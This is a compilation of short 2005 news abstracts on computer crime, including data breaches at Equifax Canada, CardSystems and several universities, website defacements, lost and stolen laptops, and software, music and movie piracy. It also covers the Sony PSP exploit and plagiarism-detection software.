A computer hacker has accessed the files of about 600 consumers at Equifax Canada, one of Canada's major credit bureaus. Most of the files are for consumers from British Columbia. Equifax Canada uses data provided by banks to compile credit records on Canadian consumers. Those records include personal information such as social insurance numbers, bank account numbers and up to six years of credit and banking history ... Equifax said all affected customers in this latest breach have been contacted. The RCMP is investigating.

[Abstract by R. S. "Bob" Heuman]

Category17.1Penetration2005-07-15data theft confidentiality credit card hack

Crypto-Gram

CARDSYSTEMS SOLUTIONS HACKED -- 40M PEOPLE AFFECTED

Bruce Schneier wrote, "The personal information of over 40 million people has been hacked. The hack occurred at CardSystems Solutions, a company that processes credit card transactions. The details are still unclear. The New York Times reports that "data from roughly 200,000 accounts from MasterCard, Visa and other card issuers are known to have been stolen in the breach," although 40 million were vulnerable. The theft was an intentional malicious computer hacking activity: the first in all these recent personal-information breaches, I think. The rest were accidental -- backup tapes gone walkabout, for example -- or social engineering hacks. Someone was after this data, which implies that's more likely to result in fraud than those peripatetic backup tapes.

CardSystems says that they found the problem, while MasterCard maintains that they did; the New York Times agrees with MasterCard. Microsoft software may be to blame. And in a weird twist, CardSystems admitted they weren't supposed to keep the data in the first place."

Category 17.1 Penetration 2005-07-22 hacker hacking penetration perimeter breach University of Colorado information disclosure Social Security Numbers

EDUPAGE; http://www.thedenverchannel.com/technology/4757407/detail.html

CU COMPUTERS HACKED

Officials at the University of Colorado said hackers gained access to two servers at the university, possibly exposing personal information on nearly 43,000 students and employees of the institution. One server, at the College of Architecture, contained data on 900 individuals; the other, at the university's health center, included information for another 42,000 people. The servers included names, Social Security numbers, addresses, and dates of birth, according to the university, but neither included credit card information. Still, university officials are advising those affected to monitor their credit reports for suspicious activity, and the university has set up a Web site and a hot line to answer questions. Investigators looking into the situation said that one hacker came through a server in France, while the other came through a server in Eastern Europe. University officials have no information so far that any of the personal data on the servers has been misused. The Denver Channel, 22 July 2005

Category 17.1 Penetration

2005-07-25 Hackers spyware Website hosting ISPs malicious worms viruses spyware hosting

DHS IAIP Daily; http://www.techweb.com/wire/security/166402258

HACKERS SPREADING SPYWARE FROM FREE PERSONAL WEBSITES

Attackers are using free personal Web hosting sites provided by nationally- and internationally-known ISPs to store their malicious code, and to infect users with worms, viruses, and spyware, a security firm said Monday, July 25. Websense, a San Diego, California-based Web security and content filtering vendor, has detected a big jump in the use of personal hosting sites, said Dan Hubbard, the company's senior director of security and technology research. "Attackers don't have to go to the trouble to find a compromised machine, search for one with a vulnerability they can exploit to turn into a zombie," said Hubbard. "Plus, they're reliable. Since they're offered up by national and international Internet service providers, they're built on a lot of infrastructure. Third, they often offer quite a bit of storage space, in some cases up to 500MB." The problem is that too few free hosting services offer even the most basic security tools, Hubbard said. None of the services found hosting malicious sites use a graphics-based question to make sure that a human, not a bot, registers for the service, he said.

Category 17.1 Penetration

2005-08-03 hacker hacking penetration perimeter breach University of Colorado information disclosure Social Security Numbers

EDUPAGE; http://www.denverpost.com/news/ci_2909173

CU SUFFERS ANOTHER HACK

Hackers broke into a server at the University of Colorado (CU), marking the third security breach in the past six weeks. The latest attack targeted servers that held information for the school's ID card, known as the Buff OneCard. Those servers included names, Social Security numbers, and photographs but not financial information. Potentially exposed in the attack is personal information for 29,000 students, some former students, and 7,000 staff members. Students who will be entering the university in the fall were not affected. Dan Jones, IT security coordinator, said it was not clear whether this attack was perpetrated by the same people who compromised two other servers recently. In April, CU had decided to move away from using Social Security numbers as identifiers for students, based on security problems at other institutions and the risk of identity theft. Some systems on campus, however, still use Social Security numbers to track students, according to Jones. Officials at the university said they will hire an independent auditing firm to assess the institution's security measures and will also evaluate some 26,000 computers to determine which could be placed behind a firewall. The Denver Post, 3 August 2005

Category 17.1	Penetration
2005-08-09	Sonoma State University California hacker penetration personal information
	disclosure Social Security Numbers

EDUPAGE; http://sfgate.com/cgibin/article.cgi?f=/c/a/2005/08/09/BAGLJE50C81.DTL

HACKERS HIT ANOTHER UNIVERSITY

Sonoma State University, an hour north of San Francisco, has become the latest in a growing list of universities to suffer a hacker attack that put personal information of students and staff at risk. At Sonoma State, hackers in July gained access to several computer workstations, which allowed them to access a number of other computers before university staff detected and put an end to the intrusion. In all, the hackers had access to names and Social Security numbers of nearly 62,000 students, applicants, or employees of the university between 1995 and 2002. A spokesperson for the university said the hackers did not have access to financial information and noted that there is currently no evidence that any of the information has been misused. Nevertheless, the university is required by state law to contact individuals whose personal information has been compromised, and the university is working to do just that. The university has set up a Web site with information and is advising affected individuals to contact credit-reporting agencies to be on the lookout for possible identity fraud. San Francisco Chronicle, 9 August 2005

Category 17.1 Penetration 2005-09-29 hacker attack penetration University of Georgia personal sensitive information disclosure Social Security Numbers

EDUPAGE; http://www.ajc.com/metro/content/metro/0905/29ugabreach.html

HACKER HITS UNIVERSITY OF GEORGIA

The University of Georgia has revealed that a hacker was able to access a computer system that contained personal information for employees of the College of Agricultural and Environmental Sciences as well as people who are paid from that department. Social Security numbers were in the accessed database, though no credit card information was exposed. In all, 2,400 Social Security numbers for about 1,600 people were compromised, and the university is working to contact those affected. According to Tom Jackson, spokesperson for the university, names and Social Security numbers in the database were not connected, but an experienced hacker would likely be able to correctly match them up. The university suffered another computer hack in January 2004. No arrests have been made in that incident. The Atlanta Journal-Constitution, 29 September 2005

Category 17.1 Penetration

2005-12-20 data theft security breach Encase Guidance software criminal hackers financial personal data customer database law enforcement response credit card Secret Service investigation

EDUPAGE; http://www.washingtonpost.com/wpdyn/content/article/2005/12/19/AR2005121901525.html

HACKERS HIT SECURITY COMPANY DATABASE

Hackers gained access to the financial and personal data of 3,800 law enforcement and network security professionals when they broke into the customer database of Guidance Software in Pasadena, California. Guidance Software is a leading provider of software to diagnose hacker attacks, and its EnCase product is used by hundreds of security researchers and law enforcement agencies worldwide, including the U.S. Secret Service and FBI. The break-in took place in November and was discovered December 7. The company alerted its customers within two days after the discovery and assured them it would no longer store customer credit card data. The company is working with the Secret Service on a detailed investigation of the incident.

17.2 Web vandalism

Category 17.2	Web vandalism
2005-06-10	Web vandalism hacking defacement Korean Mozilla Website Simiens Crew
	Brazilian organization

DHS IAIP Daily; http://www.internetnews.com/security/article.php/3512081

HACKERS DEFACE KOREAN MOZILLA WEBSITE

The Korean language Mozilla Website was hacked and defaced last week, prompting calls from some corners of the open source community to gain control of the independent site. The job was likely the work of the notorious Simiens Crew, a Brazil-based outfit, and while the main page was not affected, other pages were replaced by the message "Simiens Crew ownz u viva os macacos." The phrase "os macacos" means "the monkeys" in Portuguese. It could be that the hackers simply have misspelled their own name, according to MozillaZine, a Web-based forum for the browser's enthusiast. The proper spelling is "Simians" and means apes. The crew has attacked several high-profile sites, often exploiting a vulnerability in the AWStats log file analyzer, according to MozillaZine. While Mozilla Europe, Mozilla Japan and Mozilla China have an official affiliation with the foundation, the Korean language Website has no official connection. Channy Yun, leader of Mozilla Korean Community, said the hack happened because there was not a patch for a PHP vulnerability for the company hosting mozilla.or.kr. He assured users he would backup and fix the problem with the ISP.

Category 17.2 Web vandalism

2005-07-06 The Register Microsoft UK hacking defacer Apocalypse Rafa GIF Microsoft institutions government Aponte World of Hell

DHS IAIP Daily; http://www.theregister.co.uk/2005/07/06/msuk_hacked/

MICROSOFT UK DEFACED IN HACKING ATTACK

Microsoft's UK Website was defaced by well-known defacer Apocalypse Tuesday, July 5, with a message in support of Venezuelan hacker Rafa. The site has since been restored to normal operation and the offending GIF removed. A Microsoft spokesman said it was aware of the attack, which technical staff are investigating. "There is no reason to believe customer data or any other sensitive information has been compromised," he said. Apocalypse has been targeting U.S. institutions and the government sites for months, always posting messages in support of Rafa Nunez-Aponte, a suspected member of the World of Hell hacking crew. Rafa is in custody in the U.S. following his arrest in Miami, FL, in April over a series of alleged attacks on U.S. Department of Defense servers dating back to 2001. Previous targets of DHS IAIP DHS IAIP Daily; DHS IAIP Daily; Daily; Apocalypse's "digital graffiti" attacks have included Stanford University and U.S. Navy Websites.

17.3 Phreaking, cramming, uncapping, theft of services

Category	17.3	Phreaking, cramming, uncapping, theft of services		
2005-07-	-31			
RISKS; http://www.wired.com/news/privacy/0,1848,68370,00.html		23	95	
HOTEL'	TV SYSTEM	HACKED USING LAPTOP & TUNER		

Adam Laurie, tech director of the London security and networking firm "The Bunker", apparently got bored on a recent trip and found the time to hack the Hotel's TV system which lets customers not just watch 'normal' TV programming, but also, for a fee, provides access to not-safe-for-work flicks and access to the Internet including e-mail.

The article at http://www.wired.com/news/privacy/0,1848,68370,00.html reports that a laptop running linux, its IrDA port and an USB TV tuner can be used to trick the TV into doing more than it was supposed to do, including gaining access to the NSFW content without being charged for it, snooping on other people's TV watching habits, their Internet browsing habits and their e-mails. Also, the "coding" system used for infrared-based access control to the hotel minibars doesn't seem to be insurmountable either.

The bill so far: Lost profit for the hotel, lost privacy for the customers, the possibility for corporate espionage. Return value: Easy network access. Good deal, eh?

[Abstract by Florian Liekweg]

23

82

18.1 Theft of equipment

Category 18.1	Theft of equipment
2005-03-29	Social Security Numbers SSN laptop computer data theft reporting law awareness alert thief university students alumni

RISKS

UNINTENDED CONSEQUENCES OF CALIFORNIA DATA-THEFT REPORTING LAW

A laptop computer containing names, SSNs, and some addresses and birthdates for 98,369 alumni, grad students and applicants was stolen from an office at UC Berkeley. In compliance with California's new data-theft reporting law, the breach was reported and has now been widely publicized -- although ironically, as a writeup on slashdot points out, this publicity may have alerted the thief, who was probably only interested in the hardware, to the true value of his find.

[Summary and analysis posted in RISKS by Steve Summit]

Category 18.1 Theft of equipment

2005-03-29 identity data laptop theft University of California Berkeley Social Security Numbers

EDUPAGE; http://www.insidehighered.com/index.php/news/2005/03/29/theft

THIEF GRABS LAPTOP AND 100,000 IDENTITIES

Officials at the University of California at Berkeley said that a laptop stolen from the university's graduate division contained personal information for nearly 100,000 individuals. The computer included records for applicants to Berkeley's graduate programs from fall 2001 to spring 2004; students enrolled in the school's graduate programs from fall 1989 to fall 2003; and individuals who received doctorates from Berkeley between 1976 and 1999. Although no evidence exists that any of the stolen information has been used fraudulently, according to a statement from the university, the institution is required by a California law to disclose the breach to those affected. The statement said the university is making "every reasonable effort to notify by mail or e-mail all 98,369 individuals whose names and Social Security numbers were on the computer." Inside Higher Ed, 29 March 2005

Category 18.1 Theft of equipment

2005-04-08 stolen computers medical records California Security Breach Information Act law encryption confidentiality HIPAA

SANS NewsBites; http://news.zdnet.com/2102-1009_22-5660514.html?tag=printthis

Stolen Computers Contain 185,000 People's Medical Records

Two computers containing the financial and medical records of nearly 185,000 current and former patients were stolen from the offices of the San Jose Medical group late last month. The group's vice president for information technology says he believes the thieves were interested in the computers and not the information they contained. Nonetheless, the affected patients are being notified pursuant to California's Security Breach Information Act. The company had been transferring patient data from secured servers to the PCs; some of the data were encrypted.

Category 18.1 Theft of equipment

2005-05-23 data personal information theft MCI employee data Social Security Numbers

EDUPAGE; http://online.wsj.com/article/0,,SB111680003245940129,00.html

LATEST LOSS OF PERSONAL INFORMATION: MCI

Officials from long-distance carrier MCI are investigating the loss of employee data after a laptop was stolen from the car of an MCI financial analyst. The laptop contained names and Social Security numbers for about 16,500 employees, whom the company has notified. A spokesperson for MCI said the machine was password-protected but did not say whether the employee data were encrypted. MCI is reviewing the incident to see whether the analyst violated any company policies, such as those concerning what types of information may be put on laptops and what information must be encrypted. MCI is also taking this opportunity to make sure employees who have access to sensitive information are clear on company policies. The company said that so far there have been no reports that any of the information on the laptop has been sold or misused. Wall Street Journal, 23 May 2005 (sub. req'd)

Category 18.1 Theft of equipment 2005-06-10 data theft personal information disclosure Motorola Affiliated Computer Services fraud insurance offer

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=8760748

MOTOROLA EMPLOYEE DATA STOLEN

Over the Memorial Day weekend, thieves broke into the offices of Affiliated Computer Services (ACS), a provider of human resources services, and stole two computers with personal information on Motorola employees. The computers, which reportedly employed security measures to make accessing their files difficult, contained names and Social Security numbers of an unspecified number of employees but did not include any financial information, according to a Motorola spokesperson. Lesley Pool, chief marketing officer at ACS, described the theft as an "amateur burglary" and said no evidence has surfaced that any of the information has been used for illicit purposes. Most of those affected are U.S. employees of Motorola, which employs about 34,000 people in the United States. Motorola has notified all of the affected employees and offered them fraud insurance at no charge. Reuters, 10 June 2005

18.2 Loss of equipment

Category 18.2 Loss of equipment

laptops cell phones equipment loss taxis cabs data confidentiality possession control

2005-01-24 NewsScan;

http://www.cnn.com/2005/TECH/ptech/01/24/taxis.lost.reut/index.html

THOUSANDS OF LAPTOPS, CELL PHONES LEFT IN CABS

A new survey estimates that 11,300 laptops, 31,400 handheld devices and 200,000 mobile phones were left in taxis around the world during the last six months. The survey, which polled some 1,000 taxi drivers and extrapolated from there, indicates that four out of five cell phones and 19 out of 20 laptops were returned to their owners eventually. Geographically, Chicagoans were most likely to leave a handheld device in a cab, while Londoners were more careless than others with their laptops. Danes seemed to be most likely to forget their cell phones. Other items reportedly left in cabs include a harp, dentures, artificial limbs and a baby. (Reuters/CNN.com 24 Jan 2005)

Category	18.2	Loss of equipment		
2005-02-	25	unencrypted data laptop computer loss confidentiality n bank	nedical informa	tion blood
RISKS			23	76
BLOOD	BANK LAPT	OP FALLS OFF TRUCK; DATA UNENCRYPTED		
	blood bank ha zed use or dise	d sensitive donor data on disk; "Officials say they will now encrypt the closure."	e information to p	revent its
Category	18.2	Loss of equipment		
2005-05-	07	physical security data leakage equipment loss computer laboratory sloppy procedures errors flaws mess national		itional
RISKS			23	87
US IDAH	IO NATION.	AL LAB LOSES 269 COMPUTERS & DISK DRIVES IN 3 YEARS	3	
The U.S. f	ederal Idaho I	National Laboratory nuclear-reactor research lab cannot account for n	nore than 200 miss	ing computers

and disk drives that may have contained sensitive information. The computers were among 998 items costing \$2.2 million dollars that came up missing over the past three years. Lab officials told investigators that none of the 269 missing computers and disk drives had been authorized to process classified information. But they acknowledged there was a possibility the devices contained "export controlled" information -- data about nuclear technologies applicable to both civilian and military use. [Abstract by Peter G. Neumann]

Category 18.2	Loss of equipment		
2005-07-12	data leakage computer loss theft government ag	encies UK survey report	
RISKS; http://v	vww.egovmonitor.com/node/1843	23	94
UK GOVERNMI	ENT LOSES AT LEAST 150 COMPUTERS IN 1ST 6 MONTH	S OF 2005	

Central government departments have reported to have suffered at least 150 cases of computer theft in the last six months, according to official figures. The Home Office alone recorded 95 incidents of computer items being stolen between January and June 2005 - equivalent to a theft taking place in the Department every other day.

By comparison, the Ministry of Defence reported 23 computer thefts to date in 2005, down from a total of 153 in the previous year....

In a written answer, Doug Touhig, a junior minister at the MoD, said the Ministry had also experienced 30 attempted computer hacking incidents so far in 2005, having only reported 36 for the whole of 2004. However the Minister gave an assurance that "none of the reported incidents of hacking had any operational impact". Most of these incidents were due to internal security breaches, rather than external threats. Half of the cases were classed as "internal - misuse of resources".

Instances of reported computer thefts in other departments were in single figures so far this year, and most recorded no cases of IT systems being accessed illegally.

The Department for Transport said it had experienced 71 cases of computer hacking in 2003-4, 31 in the following year and one incident since April. The Treasury, the Department for International Development and the Department for Education and Skills said their IT systems had been breached on one occasion in 2004-5. Figures from the DfES show that in the two years since 2003/4, it experienced 37 incidents of computer theft, all but one of which were "perpetrated by insiders". The Department of Health said it did not distinguish between losses and theft of IT equipment, but said there were 44 such incidents in 2004-5, costing it almost 40,000 pounds. Figures provided by Health Minister Jane Kennedy put the total sum lost by the Department over the last four years at 233,000 pounds.

[Report by Ian Cuddy]

19.1 Software piracy

Category 19.1 Software piracy

Microsoft anti-piracy system hacked Windows Genuine Advantage WGA copy

DHS IAIP Daily;

2005-08-01

http://www.techworld.com/security/news/index.cfm?NewsID=4134

HACKERS BREAK INTO MICROSOFT'S ANTI-PIRACY SYSTEM

Hackers found a way around Microsoft's Windows Genuine Advantage (WGA) anti-piracy system last week, only a day after the system went into effect. WGA requires Windows users to verify they are using a genuine copy of Windows before they are allowed to download certain software updates. Security patches aren't covered by the system, and remain available to any Windows user, legitimate or not. Using a simple JavaScript hack, all users had to do was paste a JavaScript URL into the Internet Explorer browser window at the beginning of the process; this turned off the key check, according to users. Microsoft said it was investigating the hack but didn't consider it a security flaw. The company said that it may not take immediate action to fix the problem. "As the validation system is updated from time to time, we will address this and other issues that may arise," a Microsoft spokesperson said. Microsoft put WGA into place to cut down on Windows piracy, and to persuade users who are running pirated copies of Windows to buy legitimate licences.

Category 19.1 Software piracy

2005-12-07 Microsoft eBay partnership software piracy online auction

DHS IAIP Daily; http://www.vnunet.com/vnunet/news/2147277/ebay-tacklesmicro soft-software

MICROSOFT AND EBAY HOOK UP TO CATCH PIRATED SOFTWARE

Microsoft and eBay are working together to stop the sale of pirated software on the online auction site. The companies said in a statement that over 21,000 suspect software sales were removed from the eBay United Kingdom site between August and October this year. Around half were sales of counterfeit copies of Windows, and 36 percent were fake copies of Microsoft Office. Microsoft claimed that the crackdown is working because eBay removed 11,535 suspected counterfeit sales from the site in August. This fell to 4,460 in September and 5,423 in October.

19.2 Music piracy

Category 19.2 Music piracy

2005-01-25

music piracy Russia copyright infringement intellectual property international

NewsScan; http://online.wsj.com/article/0

RUSSIAN MUSIC SITES SPECIALIZE IN CHEAP DOWNLOADS

Russian music sites with names like MP3search.ru and 3MP3.ru provide music fans with a way to bypass the copyright restrictions on most U.S. and European online music services and pay less while they're at it. The sites offer a large selection of highquality downloads with no restrictions for about 10 cents or less per song, but U.S. lawyers warn that downloading music from these sites is just as illegal as downloading from free P2P sites like Kazaa: "It doesn't matter if somebody downloads in the U.S. and believes that it's legal because the site tells them so," says one intellectual property attorney. However, several of the Russian sites say they pay licensing fees to a group called the Russian Organization for Multimedia & Digital Systems (ROMS), which purports to represent Russian copyright holders and acts "in conformity with the requirements of the Russian laws," according to ROMS legal expert Konstantin Leontiev. Meanwhile, the International Federation of the Phonographic Industry says that Russia is second only to China in CD piracy and is threatening legal action against some Russian music sites. (Wall Street Journal 25 Jan 2005)

Category 19.2 Music piracy 2005-04-22 RIAA legal defeat North Carolina student identity disclosure ISP DMCA John Doe lawsuits illegal downloading music piracy intellectual property rights violation copyright infringement

EDUPAGE; http://chronicle.com/prm/daily/2005/04/2005042201t.htm

JUDGE REJECTS RIAA'S EXPEDITED SUBPOENAS

A federal judge in North Carolina handed the Recording Industry Association of America (RIAA) a legal defeat in its effort to learn the identities of two students accused of illegal file sharing. The RIAA had sought the identities from the students' universities, the University of North Carolina at Chapel Hill and North Carolina State University, under an expedited subpoena process the group has since abandoned. In a December 2003 decision, another federal judge had rejected the expedited subpoenas, which did not require a judge's signature, ruling that Verizon could not be forced to disclose identities of its customers. In their capacity as Internet service providers (ISPs) for students, universities were given similar protection from the expedited subpoenas. In this case, Judge Russell A. Eliason ruled that an ISP that does not store information but merely transmits it cannot be compelled under the Digital Millennium Copyright Act to reveal identities of its users. After the 2003 decision, the RIAA began filing individual "John Doe" lawsuits for illegal file sharing. Under that process, which costs the RIAA more time and money than the other, ISPs can be forced to turn over identities of users. Chronicle of Higher Education, 22 April 2005 (sub. req'd)

Category 19.2 Music piracy

2005-06-07 peer-to-peer P2P legal music downloading services report

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=8721861

MORE CONSUMERS TURNING TO LEGAL MUSIC SERVICES

Growing numbers of U.S. consumers are using legal online music services, making them viable competitors to peer-to-peer (P2P) services, which are typically rampant with illegal file sharing, according to research firm NPD Group. NPD data indicate that Apple's iTunes music store ties for second on a list of the most-used online music services, even with LimeWire and just behind WinMX. Other legal services Napster and RealNetworks's Rhapsody placed seventh and ninth on the list, which also includes such P2P services as Kazaa and BearShare. Isaac Josephson of NPD pointed out that, aside from avoiding the risk of prosecution, legal online music services offer several advantages over P2P networks, including convenience of finding what you're looking for and knowing that files you download do not contain spyware. These factors, coupled with the threat of legal action for copyright violations on P2P networks, make paying for music online an attractive proposition, according to Josephson. Reuters, 7 June 2005

Category 19.2 Music piracy 2005-08-19 college campuses higher education student download habits peer-to-peer P2P intellectual property rights violation copyright infringement

EDUPAGE; http://www.siliconvalley.com/mld/siliconvalley/12426744.htm

CAMPUSES STILL WORKING TO CHANGE STUDENT DOWNLOAD HABITS

Despite the availability of legal online music services on a growing number of college and university campuses, many students continue to get their music from illegal P2P downloads. At American University in Washington, D.C., only about half of the 3,800 students use the Ruckus music service. A similar percentage was reported for the 10,000 students of the University of Rochester, who have access to Napster. Pennsylvania State University estimates that about 40 percent of its 70,000 students use the Napster service provided to them. For students willing to risk being sued by the entertainment industry and downloading computer viruses, incentives for illegally downloading songs include the ability to copy the songs to CDs and to portable devices and to keep the music after they have left college. Officials from legal online music services acknowledged the hurdles in persuading all college students to abandon illegal file sharing, but they said that offering the services to college students will prove to be beneficial in the long term. San Jose Mercury News, 19 August 2005

Category 19.2 Music piracy

2005-08-29 peer-to-peer P2P intellectual property rights violation copyright infringement music piracy file sharing eDonkey benefit BitTorrent crackdown

EDUPAGE;

http://money.cnn.com/2005/08/29/technology/piracy_crackdown.reut/

EDONKEY BENEFITS FROM BITTORRENT CRACKDOWN

A new study by research firm CacheLogic suggests that the recent crackdown on BitTorrent P2P sites has merely shifted illegal file trading to eDonkey, which now has as many users as BitTorrent in the United States, China, Japan, and Britain. It is the leading P2P service in South Korea, Italy, Spain, and Germany. CacheLogic estimates that as much as 60 percent of global Internet traffic is attributable to P2P file sharing, and before the crackdown, BitTorrent represented up to one third of total Internet traffic. Andrew Parker, chief technology officer of CacheLogic, said the recent upswing of activity on eDonkey "is almost assuredly a result of the increased legal action toward the once-ignored BitTorrent." Parker also noted that the recent U.S. Supreme Court decision against Grokster has not resulted in a decline of file sharing. Parker said, "This cat and mouse game [between P2P services and entertainment industries] will continue." CNN, 29 August 2005

Category 19.2 Music piracy

2005-09-22 file sharing report peer-to-peer P2P campus higher education efforts

EDUPAGE; http://www.insidehighered.com/news/2005/09/22/filesharing

REPORT ADDRESSES CAMPUS EFFORTS TO CONTROL FILE SHARING

A report submitted to Congress this week provides a snapshot of campus programs to provide legal alternatives to illegal file trading. Prepared by the Joint Committee of the Higher Education and Entertainment Communities, the report noted that the number of institutions offering legal download services has tripled during the past year, to 70, covering more than 670,000 students nationwide. Campuses offering such services include a number of large and high-profile institutions, and many other colleges and universities are expected to introduce such programs. The report acknowledged that measuring the effect of legal options on student behavior can be difficult, and it noted that large numbers of students at some schools continue to engage in illegal file trading despite the option of a legal service. The most successful approach, according to the report, is for a campus to enforce copyright policies and work to limit illegal file trading while offering students a legal alternative. Inside Higher Ed, 22 September 2005

Category19.2Music piracy2005-09-23anti-piracy tool file sharing peer-to-peer P2P MPAA IFPIEDUPAGE; http://news.zdnet.com/2100-958822-5876687.html

NEW TOOL DEFEATS FILE-SHARING APPLICATIONS

A new tool from the recording and film industries uninstalls or disables P2P applications, and it scans computers for illegal copies of songs or movies and deletes them. Digital File Check was developed by the International Federation of the Phonographic Industry (IFPI) in conjunction with the Motion Picture Association of America (MPAA) and is available free from the IFPI Web site. A statement from the IFPI noted that the tool does not report evidence of file sharing to any antipiracy organization. Rather, it is designed as an aid to parents and employers who want to discourage children and employees from using computers to violate copyrights. The IFPI will also publish a guide called "Copyright and Security Guide for Companies and Governments" that offers advice to employers about the risks they face by failing to prevent copyright violations on their networks. ZDNet, 23 September 2005

Category 19.2 Music piracy

2005-11-28 intellectual property rights violation copyright infringement peer-to-peer P2P file music sharing piracy Kazaa Australian Court order keyword filter

EDUPAGE;

http://www.infoworld.com/article/05/11/28/HNjudgeorderskazaa_1.html

AUSTRALIAN COURT ORDERS KAZAA TO INSTALL KEYWORD FILTER

The Federal Court of Australia in Sydney has ordered the operators of the Kazaa file-sharing service to install a keyword filter to screen out copyrighted material by December 5. The filter will keep users from trading files containing keywords from a list of 3,000 chosen by record companies. The order follows a September ruling that found Kazaa had been used extensively to infringe copyrights. Sharman Networks, the owner of Kazaa, won an extension until February 2006 to comply fully with the court's injunction to block file trading of copyrighted materials. The filtering system is seen as an interim measure, with Sharman expected to appeal I n early 2006. InfoWorld, 28 November 2005

Category 19.2 Music piracy

2005-12-09 peer-to-peer P2P illegal file trading limit bogus junk files shut down sale Loudeye Overpeer

EDUPAGE; http://news.zdnet.com/2100-9595_22-5989758.html

P2P CLOGGER TO CLOSE

A company that tried to limit illegal file trading by flooding P2P networks with junk files is being shut down and put up for sale. Overpeer, which is owned by Loudeye, contracted with record companies and movie studios to place thousands of bogus versions of songs and movies on P2P services. When users searched for and downloaded those files, they would get garbage or advertisements rather than the desired files. Since late 2002, when Overpeer was at its height, a number of strategies have been developed to allow file traders and the services they use to make reasonably good guesses about files and to filter out the bogus ones. Officials from Loudeye said revenues had fallen significantly and that the division would cease operations immediately. Loudeye will attempt to sell Overpeer's assets. ZDNet, 9 December 2005

19.3 Movies / TV piracy

Category 19.3 Movies / TV piracy

2005-02-18 UK Australia TV television piracy copyright infringement

NewsScan; http://australianit.news.com.au/articles/0

U.K., AUSTRALIA TOP TV PIRACY LIST

Australia and Britain have been revealed as the world's biggest markets for pirate TV downloads. The trend is being driven by tech-savvy fans who are unwilling to wait for popular U.S. shows such as 24 and Desperate Housewives. Australia ranked as second largest downloader of TV programs after Britain in a study of the phenomenon by U.K. technology consultancy Envisional. The U.S. was in third position. (The Australian 18 Feb 2005)

Category 19.3 Movies / TV piracy

2005-08-05 movie piracy camcorder law charges filed MPAA peer-to-peer P2P file sharing

EDUPAGE; http://news.com.com/2100-1030_3-5819976.html

FIRST CHARGES FILED UNDER CAMCORDER LAW

A 19-year-old man from Missouri has become the first person charged under a recently enacted federal law banning the use of camcorders to tape movies in theaters and then make them available online. According to the Motion Picture Association of America, such camcorder piracy accounts for more than 90 percent of movies that are available online prior to their release outside theaters. Curtis Salisbury is charged with taping two movies in theaters and placing them on so-called warez networks, where many pirated movies and songs find their way onto the Internet. From there, pirated content typically ends up on P2P networks. Unlike the majority of people who upload copyrighted content to such networks, Salisbury tried to profit financially from the movies he posted. He is charged with conspiracy, copyright infringement, and two violations of the law banning camcorders in theaters. He faces up to 17 years in prison. Reuters, 5 August 2005

19.5 Games piracy

Category	19.5	Games piracy		
2005-06-1	5	game system digital rights copy protection vulnerability exploi	it	
RISKS; ht	tp://www.ee	epi.org/archives/eepi-discuss/msg00100.html	23	90
EXPLOIT	OF SONY P	SP RAPIDLY DEVELOPED		

Lauren Weinstein wrote two excellent postings in the Electronic Entertainment Policy Initiatiave discussion list and pointed to them in a summary for RISKS.

>As we know, often even the most elaborate attempts at controlling access to hardware and software, even using the very latest technologies, may be less than entirely successful.

An example is the just-announced "exploit" of Sony's powerful and popular new "PSP" portable gaming system (which includes WiFi and other advanced capabilities). The unit employs digital signing and hardware AES encryption to try prevent the running of "unofficial" applications.

However, ... the PSP exploitation door has apparently been opened quite wide both for piracy and a vast array of homebrew applications....

The powerful new PSP -- based on the MIPS R4000 CPU -- complete with a gorgeous color display and WiFi capability, became an obvious target for homebrew applications, ranging from game emulators to Linux projects. However, the device was designed to refuse the execution of programs that had not been "signed" by Sony, primarily as a control against game piracy, we assume.

However, it was soon discovered that the earliest PSP units, released only in Japan, contained a firmware flaw allowing the running of properly manipulated unsigned code. Immediately, homebrew applications began to appear. By the time the PSP was released in the U.S. Just a few months ago, the early Japanese version 1.0 firmware had been replaced with version 1.5, and the execution hole appeared to be closed. A high premium on the early Japanese units resulted.

The U.S. PSP fans stayed busy by discovering a Web browser included in a popular PSP game for update purposes ("Wipeout Pure"), that could be manipulated to reach arbitrary sites via various DNS tricks. Meanwhile, various hacking groups worked at finding a way to open an unsigned execution path on the 1.5 firmware.<

In his follow-up article, Weinstein reported

>...[T]he exploit for Sony's PSP ... was released as "advertised" this morning and has already been tested by many users around the world. Reports indicate that it provides the functionality previously discussed, and it has been confirmed that it will not run on PSP firmware later than the 1.5 version. All but the earliest (firmware 1.0) PSP units in Japan, and all U.S. Units, have so far been shipped at firmware level 1.5. Sony has recently released firmware versions 1.51 and 1.52, which block the exploit, that some users have already flashed to their units via Web downloads.

While the exploit apparently works, it is not by itself a terribly practical long-term procedure, since it involves the rapid swapping of memory sticks during the startup of each unsigned application.

However, the camel's nose is now in the tent, and the exploit, by allowing the execution of arbitrary unsigned code (including the ability to reflash the unit's firmware), will likely lead *very* rapidly to more "user-friendly" and far-reaching exploitations and homebrew applications."<

In a posting in RISKS 23.92, Weinstein continued, >It only took around a week for the exploit to evolve from unwieldy but powerful hack, to user-friendly production program, but the "signed-code" security system of the Sony PSP Portable running 1.5 firmware, designed to prevent the execution of pirated or other "unofficial" (e.g. Homebrew) code, appears to have been obliterated.<

19.8 Plagiarism

Category19.8Plagiarism2005-05-19software plagiarism uncovering self-plagiarism Cornell University intellectual
property rights violation copyright infringement

EDUPAGE; http://chronicle.com/prm/daily/2005/05/2005051901t.htm

JOURNALS USING SOFTWARE TO UNCOVER PLAGIARISM

Software designed to uncover plagiarism is increasingly being used not only for student papers, where it got its start, but also for academic journals, where it is turning up instances of self-plagiarism as well. Although some dismiss self-plagiarism as unimportant relative to plagiarizing another's work, the practice of republishing one's own work in various venues strikes others as similarly objectionable. Christian Collberg, assistant professor of computer science at the University of Arizona, characterized self-plagiarism as vita padding and said that self-plagiarists who are funded from public sources are misusing taxpayer money. Collberg is working on a software application specifically designed to uncover instances of self-plagiarism. Though not as concerned about self-plagiarism, Cornell University is testing a plagiarism-detection application on an archive it maintains of articles in physics, math, and computer science. Among the 300,000 articles in the archive, the tool has found a few thousand instances that warrant further investigation. Chronicle of Higher Education, 19 May 2005 (sub. req'd)

19.9 Counterfeit products (hardware, clothing etc.)

Category 19.9	Counterfeit products (hardware, clothing etc.)
2005-01-04	AMD microprocessor chip manufacturer warning counterfeit PC server chips Athlon XP

DHS IAIP Daily; http://www.internetnews.com/ent-news/article.php/3454481

AMD warns about counterfeit PC and server chips.

